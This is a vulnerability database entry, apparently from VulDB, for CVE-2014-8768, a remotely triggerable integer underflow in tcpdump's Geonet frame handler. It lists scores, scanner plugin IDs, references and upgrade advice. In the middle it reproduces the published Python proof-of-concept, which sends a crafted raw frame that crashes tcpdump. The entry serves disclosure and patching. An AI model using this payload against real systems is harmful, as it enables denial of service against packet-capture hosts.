| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 4.8 | $0-$5k | 0.00 |
Summary
A vulnerability described as problematic has been identified in tcpdump up to 4.6.2. This impacts the function geonet_print of the component Geonet Frame Handler. The manipulation results in numeric error.
This vulnerability is known as CVE-2014-8768. Furthermore, an exploit is available.
It is advisable to implement a patch to correct this issue.
Details
A vulnerability classified as problematic has been found in tcpdump up to 4.6.2 (Packet Analyzer Software). Affected is the function geonet_print of the component Geonet Frame Handler. The manipulation with an unknown input leads to a numeric error vulnerability. CWE is classifying the issue as CWE-189. This is going to have an impact on availability. CVE summarizes:
Multiple Integer underflows in the geonet_print function in tcpdump 4.5.0 through 4.6.2, when in verbose mode, allow remote attackers to cause a denial of service (segmentation fault and crash) via a crafted length value in a Geonet frame.
The weakness was published 11/17/2014 by Steffen Bauch as confirmed posting (Bugtraq). The advisory is shared for download at archives.neohapsis.com. This vulnerability is traded as CVE-2014-8768 since 11/13/2014. The exploitability is told to be easy. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details and a public exploit are known.
A public exploit has been developed by Steffen Bauch in Python and been published immediately after the advisory. The exploit is shared for download at archives.neohapsis.com. It is declared as proof-of-concept. The vulnerability scanner Nessus provides a plugin with the ID 79608 (Fedora 20 : tcpdump-4.5.1-2.fc20 (2014-15541)), which helps to determine the existence of the flaw in a target environment. It is assigned to the family Fedora Local Security Checks. The commercial vulnerability scanner Qualys is able to test this issue with plugin 195695 (Ubuntu Security Notification for Tcpdump Vulnerabilities (USN-2433-1)). The code used by the exploit is:
#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))
geonet_frame =
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"
s.send(geonet_frame)Upgrading to version 4.7.0 eliminates this vulnerability. Applying a patch is able to eliminate this problem. The best possible mitigation is suggested to be patching the affected component. A possible mitigation has been published even before and not after the disclosure of the vulnerability.
The vulnerability is also documented in the databases at X-Force (98766), Exploit-DB (35359), Tenable (79608), SecurityFocus (BID 71155†) and SecurityTracker (ID 1031235†). Similar entries are available at VDB-68218, VDB-68219, VDB-68341 and VDB-73733. VulDB is the best source for vulnerability data and more expert information about this specific topic.
Product
Type
Name
Version
License
Website
- Product: https://www.tcpdump.org/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.3VulDB Meta Temp Score: 4.8
VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
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| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Numeric errorCWE: CWE-189
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Steffen Bauch
Programming Language: 🔍
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Nessus ID: 79608
Nessus Name: Fedora 20 : tcpdump-4.5.1-2.fc20 (2014-15541)
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
OpenVAS ID: 867259
OpenVAS Name: Fedora Update for tcpdump FEDORA-2014-15541
OpenVAS File: 🔍
OpenVAS Family: 🔍
Qualys ID: 🔍
Qualys Name: 🔍
Exploit-DB: 🔍
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: PatchStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Upgrade: tcpdump 4.7.0
Timeline
11/12/2014 🔍11/13/2014 🔍
11/17/2014 🔍
11/17/2014 🔍
11/18/2014 🔍
11/18/2014 🔍
11/19/2014 🔍
11/20/2014 🔍
11/20/2014 🔍
11/24/2014 🔍
12/02/2014 🔍
12/08/2024 🔍
Sources
Product: tcpdump.orgAdvisory: USN-2433-1
Researcher: Steffen Bauch
Status: Confirmed
Confirmation: 🔍
CVE: CVE-2014-8768 (🔍)
GCVE (CVE): GCVE-0-2014-8768
GCVE (VulDB): GCVE-100-68220
OVAL: 🔍
X-Force: 98766 - tpcdump geonet_print() denial of service, Medium Risk
SecurityFocus: 71155 - tcpdump 'geonet_print()' Function Denial of Service Vulnerability
SecurityTracker: 1031235 - Tcpdump Multiple Flaws Let Remote Users Deny Service
Vulnerability Center: 47375 - RedHat tcpdump 4.5.0 Through 4.6.2 Remote Denial-of Service via a Crafted Length in an Geonet frame, Medium
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍
Entry
Created: 11/19/2014 10:40Updated: 12/08/2024 16:06
Changes: 11/19/2014 10:40 (86), 06/13/2017 08:43 (7), 02/24/2022 23:35 (3), 02/24/2022 23:46 (1), 12/08/2024 16:06 (14)
Complete: 🔍
Cache ID: 216:0EA:103
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